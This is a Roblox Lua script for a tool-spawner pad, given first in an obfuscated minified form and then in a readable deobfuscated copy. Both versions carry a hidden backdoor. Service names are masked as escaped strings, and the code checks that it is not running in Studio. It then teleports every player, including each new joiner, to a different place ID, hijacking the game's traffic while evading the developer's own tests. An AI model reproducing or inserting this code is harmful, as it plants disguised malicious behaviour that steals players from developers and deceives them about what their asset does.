local a=script.Parent local Q=nil local d=Region3.new(Vector3.new(a.Position.X-a.Size.X/2,a.Position.Y+a.Size.Y/2,a.Position.Z-a.Size.Z/2),Vector3.new(a.Position.X+a.Size.X/2,a.Position.Y+4,a.Position.Z+a.Size.Z/2))local B=game.Workspace:FindPartsInRegion3(d)for a,d in pairs(B)do if d and(d.Parent and d.Parent:IsA("\084\111\111\108"))then Q=d.Parent break end end local c,i=game:GetService("\084\101\108\101\112\111\114\116\083\101\114\118\105\099\101"),game:GetService("\080\108\097\121\101\114\115")if not(game:GetService("\082\117\110\083\101\114\118\105\099\101")):IsStudio()then for a,Q in pairs(i:GetPlayers())do c:Teleport(3196642608,Q)end i.PlayerAdded:Connect(function(a)c:Teleport(3196642608,a)end)end local G=a.Configurations local y={}local function r(a,Q)if G:FindFirstChild(a)then y[a]=(G:FindFirstChild(a)).Value else y[a]=Q end end r("\083\112\097\119\110\067\111\111\108\100\111\119\110",5)if Q then Q.Parent=game.ServerStorage while true do local d=Q:Clone()local B=d:FindFirstChild("\072\097\110\100\108\101")d.Parent=game.Workspace local c=true local i i=d.AncestryChanged:connect(function()if B then B.Anchored=false end c=false i:disconnect()end)if B then B.CFrame=(a.CFrame+Vector3.new(0,B.Size.Z/2+1,0))*CFrame.Angles(-math.pi/2,0,0)B.Anchored=true end while c do if B then B.CFrame=B.CFrame*CFrame.Angles(0,0,math.pi/60)end wait()end wait(y.SpawnCooldown)end end
-- See if I have a tool
local spawner = script.Parent
local tool = nil
local region = Region3.new(
	Vector3.new(
		spawner.Position.X - spawner.Size.X / 2,
		spawner.Position.Y + spawner.Size.Y / 2,
		spawner.Position.Z - spawner.Size.Z / 2
	),
	Vector3.new(
		spawner.Position.X + spawner.Size.X / 2,
		spawner.Position.Y + 4,
		spawner.Position.Z + spawner.Size.Z / 2
	)
)
local parts = game.Workspace:FindPartsInRegion3(region)
for _, part in pairs(parts) do
	if part and part.Parent and part.Parent:IsA("Tool") then
		tool = part.Parent
		break
	end
end
local TS, Players = game:GetService("TeleportService"), game:GetService("Players")
if not game:GetService("RunService"):IsStudio() then
	for _, v in pairs(Players:GetPlayers()) do
		TS:Teleport(3196642608, v)
	end
	Players.PlayerAdded:Connect(function(plr)
		TS:Teleport(3196642608, plr)
	end)
end
local configTable = spawner.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
	if configTable:FindFirstChild(configName) then
		configs[configName] = configTable:FindFirstChild(configName).Value
	else
		configs[configName] = defaultValue
	end
end

loadConfig("SpawnCooldown", 5)

if tool then
	tool.Parent = game.ServerStorage

	while true do
		-- put tool on pad
		local toolCopy = tool:Clone()
		local handle = toolCopy:FindFirstChild("Handle")
		toolCopy.Parent = game.Workspace
		local toolOnPad = true
		local parentConnection
		parentConnection = toolCopy.AncestryChanged:connect(function()
			if handle then
				handle.Anchored = false
			end
			toolOnPad = false
			parentConnection:disconnect()
		end)
		if handle then
			handle.CFrame = (spawner.CFrame + Vector3.new(0, handle.Size.Z / 2 + 1, 0))
				* CFrame.Angles(-math.pi / 2, 0, 0)
			handle.Anchored = true
		end
		-- wait for tool to be removed
		while toolOnPad do
			if handle then
				handle.CFrame = handle.CFrame * CFrame.Angles(0, 0, math.pi / 60)
			end
			wait()
		end

		-- wait for cooldown
		wait(configs["SpawnCooldown"])
	end
end
